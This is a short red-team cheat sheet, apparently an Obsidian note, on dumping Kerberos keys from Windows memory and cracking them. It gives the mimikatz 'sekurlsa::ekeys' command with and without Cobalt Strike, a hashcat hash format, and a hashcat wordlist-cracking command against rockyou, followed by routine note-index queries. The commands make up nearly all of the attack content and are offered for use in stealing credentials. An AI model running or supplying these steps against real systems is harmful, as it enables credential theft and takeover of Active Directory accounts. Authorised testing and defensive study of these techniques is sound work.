Dump and Crack Kerberos Keys

Dump and Crack Kerberos Keys with MimiKatz and Hashcat

Prerequisites

• Debug Privileges Obtained (ex: NT_AUTHORITY/SYSTEM)

Step One - Acquire des_cbc_md4

With Cobalt Strike mimikatz !sekurlsa::ekeys

Without Cobalt Strike mimikatz.exe "privilege::debug" "sekurlsa::ekeys"

Step Two - Format Hashcat hash $krb5db$18$<username>$<DOMAIN-FQDN>$<hash>

Step Three - Crack hash with hashcat hashcat -a 0 -m 28900 ./hash.txt /usr/share/wordlists/rockyou.txt

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "looting") OR contains(tags, "active-directory")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

looting

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "looting")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC